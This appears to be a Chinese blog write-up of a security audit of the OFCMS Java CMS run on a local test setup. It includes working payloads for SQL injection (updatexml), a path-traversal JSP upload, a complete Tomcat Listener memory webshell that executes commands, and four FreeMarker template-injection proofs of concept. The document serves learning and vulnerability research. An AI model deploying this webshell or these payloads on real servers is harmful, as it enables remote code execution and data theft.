环境搭建
工具:IDEA 2024
jdk:1.8
maven:3.9
mysql:9.0community
tomcat:8.5
大致框架
ofcms-admin
-admin
-controller
-domain
-service
-task
-core
-config
-handler
-interceptor
-plugin
-render
-uitle
-front
-controller
-template
ofcms-api
-cms
-api
-service
ofmcs-core
-core
-annatation
-api
-method
-route
-spring
-utils
-validator
ofcms-front
-page
-front
-blog
-static
ofcms-model
-model
-base
这里主要还是分析of-admin的内容,搭建的是用的admin.war
审计目的
培养合适的审计思路
该次审计步骤
需要先去阅读文档,查看该cms拥有哪些功能点,哪些功能点存在漏洞的概率较高
然后先去盲测
接着深入代码,进行审计分析
我的审计过程
先去前台随便翻一翻
这里有个用户评论,随便测一下,发现是储存型xss
XSS
先去将前台的xss漏洞找到对应文件
全局搜索"评论",找到对应的js文件
在对应的文件/Users/mac/check_code/java/ofcms-master/ofcms-admin/src/main/webapp/WEB-INF/page/default/article.html
找到了对应的传入的参数处理${data.comment_content}
没有做任何转义,并将传入的内容返回到js中,造成了储存性xss
接下来接需要去寻找真正的java漏洞
sql篇
在全局搜索getPara,寻找参数
意外地发现有个sql参数
跟进
/Users/mac/check_code/java/ofcms-master/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java
public void create() {
try {
String sql = getPara("sql");
Db.update(sql);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"), e.getMessage());
}
}
}
在接受了sql参数后,没有经过过滤,直接进行update
public static int update(String sql) {
return MAIN.update(sql);
}
就是调用到了update函数执行sql语句
利用update注入结合报错注入,可以达到注入的目的
但是需要知道table column
去数据库随便找到了of_cms_access 存在列site_id
故而payload
update of_cms_access set site_id=updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)
接着寻找其他是否依旧存在类似的sql注入
查看了其他的参数,多多少少都进行了字符串拼接,无法绕过
文件上传篇
在getTemplate有save相关操作
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
存在写入文件的操作
需要先观察他有哪些参数
res_path
dirs
file_name
file_content
根据测试,可以发现
file_name可以进行目录穿越然后文件上传
尝试目录穿越到/static目录下
构造
http://localhost:8081/ofcms_admin_war/admin/cms/template/save.html?file_name=../../../static/N11.jsp&file_content=
在tomcat/webapp/of_cms_war/web_inf/static
中,可以看到上传的N11.jsp
之后我尝试了上传tomcat的Listener内存马
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
进行url编码后上传
访问对应目录,执行
成功rce
文件任意读取
搜索getTemplate
找到相应位置
ofcms-master/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
getTemplates函数是获取到
public void getTemplates() {
...
if (editFile != null) {
String fileContent = FileUtils.readString(editFile);
if (fileContent != null) {
fileContent = fileContent.replace("<", "<").replace(">", ">");
setAttr("file_content", fileContent);
setAttr("file_path", editFile);
}
...
}
说是文件任意读取,其实就是加载文件便于编辑
但是危害在于任意读取
收集参数
dir
up_dir
res_path
filename
但是在getTemplate函数中发现到一个白名单
public boolean accept(File file) {
return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
|| file.getName().endsWith(".css") || file.getName().endsWith(".js"));
}
});
任意文件读取只能读取到
html
xml
css
js
构造payload
http://localhost:8081/ofcms_admin_war/admin/cms/template/getTemplates?filename=N11.html&dir=../../../static
模版注入
由于在后台
模版设置中可以设置index.html
可以进行freemarker模版注入
在index.html的文件头加入freemarker的模版注入的poc,再访问http://localhost:8081/ofcms_admin_war/index.html
freemarker
FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件
new
可创建任意实现了TemplateModel
接口的Java对象,同时还可以触发没有实现 TemplateModel
接口的类的静态初始化块。
以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel
接口的freemarker.template.utility.JythonRuntime
和freemarker.template.utility.Execute
。
API
value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod()
或 value?api.someBeanProperty
。可通过 getClassLoader
获取类加载器从而加载恶意类,或者也可以通过 getResource
来实现任意文件读取。
但是,当api_builtin_enabled
为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。
POC1
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}
POC2
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","/System/Applications/Calculator.app/Contents/MacOS/Calculator").start()}
POC3
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
POC4
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("/System/Applications/Calculator.app/Contents/MacOS/Calculator") }
反思与总结
在搭建环境的时候由于tomcat版本高了,和jdk的版本不匹配导致搭建环境很久,需要多试试切换不同版本的环境来尝试
由于java的基础漏洞的函数积累太少了,全局搜索的函数很有限,所以在积累危险函数的同时,可以从功能点开始审计
对于功能点的payload实践,刚开始找不到路径,可以看看文件头的路径设置
对于文件上传的文件位置,是储存在tomcat的webapp下的对应的文件里
对于复现文件上传时,别人都连接的冰蝎,需要去学习一下冰蝎的一句话木马,便于对抗不同的容器环境